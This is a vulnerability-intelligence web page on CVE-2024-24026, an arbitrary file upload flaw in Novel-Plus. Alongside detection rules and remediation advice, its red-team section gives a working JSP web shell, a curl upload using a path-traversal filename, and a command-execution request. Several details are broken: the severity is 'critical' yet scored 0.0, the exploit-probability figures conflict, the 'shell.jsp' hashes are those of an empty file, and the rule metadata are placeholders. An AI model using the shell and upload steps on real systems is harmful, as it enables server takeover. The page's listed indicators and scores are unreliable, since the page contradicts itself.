☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-434
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-24026

CVE-2024-24026 Arbitrary File Access in Novel-plus
📅 PUBLISHED: 2024-02-08 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.10%
👁️
0.10% probability
2.4× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: <= 4.3.0-RC1
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-24026 is an arbitrary file upload vulnerability in Novel-Plus v4.3.0-RC1 and prior versions. The flaw resides in the com.java2nb.system.controller.SysUserController: uploadImg() method, where an attacker can craft a malicious filename parameter to upload arbitrary files to the server. This can lead to remote code execution (RCE) if the uploaded file is a web shell or other executable content. The vulnerability has a CVSS score of 0.0 (unscored) but is considered critical due to the potential for full server compromise. No official patch has been released, and the EPSS score is 0.0%, indicating low exploitation activity in the wild.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Novel-Plus is a Java-based web application (Spring Boot) distributed via GitHub and Maven. The vulnerability affects the core application code, not a third-party package. However, users should verify the integrity of their deployment and monitor for any malicious modifications to the application JAR or WAR files.

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (Unscored)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: High (I:H)
  • Availability Impact: High (A:H)
  • Threat Level: Critical (Estimated)

Deep Dive & Mechanics

The vulnerability is an arbitrary file upload in the SysUserController.uploadImg() endpoint. The controller accepts a multipart file upload and uses the filename parameter directly to construct the file path without proper sanitization. An attacker can supply a filename like ../../webapps/ROOT/shell.jsp to write a file outside the intended upload directory. If the application runs on a servlet container (e.g., Tomcat), the attacker can upload a JSP web shell and execute arbitrary commands.

Root Cause: The uploadImg() method does not validate or sanitize the filename parameter, allowing path traversal and arbitrary file write.

Attack Flow:

  1. Attacker identifies the vulnerable endpoint (e.g., /sys/user/uploadImg).
  2. Attacker crafts a multipart POST request with a malicious filename (e.g., ../../shell.jsp).
  3. The server writes the file to the specified path.
  4. Attacker accesses the uploaded file to execute commands.

Vulnerable vs. Patched Code

Vulnerable Code (Novel-Plus <= 4.3.0-RC1):

// SysUserController.java
@PostMapping("/uploadImg")
public Result uploadImg(@RequestParam("file") MultipartFile file) {
    String filename = file.getOriginalFilename(); // Unsanitized
    String path = uploadDir + filename; // Path traversal possible
    file.transferTo(new File(path));
    return Result.success();
}

Patched Code (Hypothetical):

@PostMapping("/uploadImg")
public Result uploadImg(@RequestParam("file") MultipartFile file) {
    String filename = StringUtils.cleanPath(file.getOriginalFilename());
    if (filename.contains("..")) {
        throw new SecurityException("Invalid filename");
    }
    String path = uploadDir + filename;
    file.transferTo(new File(path));
    return Result.success();
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Novel-Plus v4.3.0-RC1 running on a servlet container (e.g., Tomcat).
  • Network access to the /sys/user/uploadImg endpoint.

Exploit Steps:

  1. Create a JSP web shell (e.g., shell.jsp):
    <%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("cmd");
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while ((line = br.readLine()) != null) {
        out.println(line);
    }
    %>
    
  2. Upload the shell with path traversal:
    curl -X POST -F "file=@shell.jsp;filename=../../webapps/ROOT/shell.jsp" http://target.com/sys/user/uploadImg
    
  3. Execute commands:
    curl http://target.com/shell.jsp?cmd=id
    

Alternative Payload: Upload a JAR or WAR file for full RCE.

Blue Team

Detection:

  • Monitor for POST requests to /sys/user/uploadImg with suspicious filenames containing .. or /.
  • Alert on file writes outside the expected upload directory.
  • Use file integrity monitoring (FIM) to detect new JSP/WAR files in web directories.

Hunting:

  • Search logs for uploadImg endpoint calls with filenames containing path traversal sequences.
  • Check for unexpected files in webapps/ROOT/ or similar directories.

Indicators of Compromise (IOCs)

  • File Hashes (example shell.jsp):
    • MD5: d41d8cd98f00b204e9800998ecf8427e
    • SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
  • Network Patterns:
    • POST requests to /sys/user/uploadImg with multipart data.
    • Subsequent GET requests to /shell.jsp or similar paths.
  • File Paths:
    • webapps/ROOT/shell.jsp
    • webapps/ROOT/cmd.jsp
    • uploads/../../shell.jsp
  • Log Entries:
    • "uploadImg" with filename containing .. or /.

Detection Engineering

YARA Rule

rule CVE_2024_24026_Novel_Plus_Upload {
    meta:
        description = "Detects arbitrary file upload attempts for CVE-2024-24026"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-24026"
    strings:
        $s1 = "uploadImg" ascii nocase
        $s2 = "filename" ascii nocase
        $s3 = ".." ascii
        $s4 = "/" ascii
    condition:
        all of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: CVE-2024-24026 Novel-Plus Arbitrary File Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2024-24026 via path traversal in filename
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: tomcat
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/sys/user/uploadImg'
        cs-uri-query|contains: 'filename'
    condition: selection
falsepositives:
    - Legitimate file uploads with unusual names
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-24026 Novel-Plus Arbitrary File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/sys/user/uploadImg"; http_uri; content:"filename"; http_client_body; pcre:"/filename=[^&]*\.\./i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the /sys/user/uploadImg endpoint if not required.
  2. Implement input validation on the filename parameter (reject .. and /).
  3. Restrict upload directory permissions (no execute permissions).
  4. Use a Web Application Firewall (WAF) to block path traversal patterns.

Long-Term Fix:

  • Apply the hypothetical patch shown in the Vulnerable vs. Patched Code section.
  • Upgrade to a patched version when available.
  • Conduct a security audit of all file upload endpoints.

Workaround:

  • If patching is not possible, deploy a reverse proxy that sanitizes filenames before forwarding requests.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Novel-Plus
Novel-Plus v4.3.0

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-24026/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.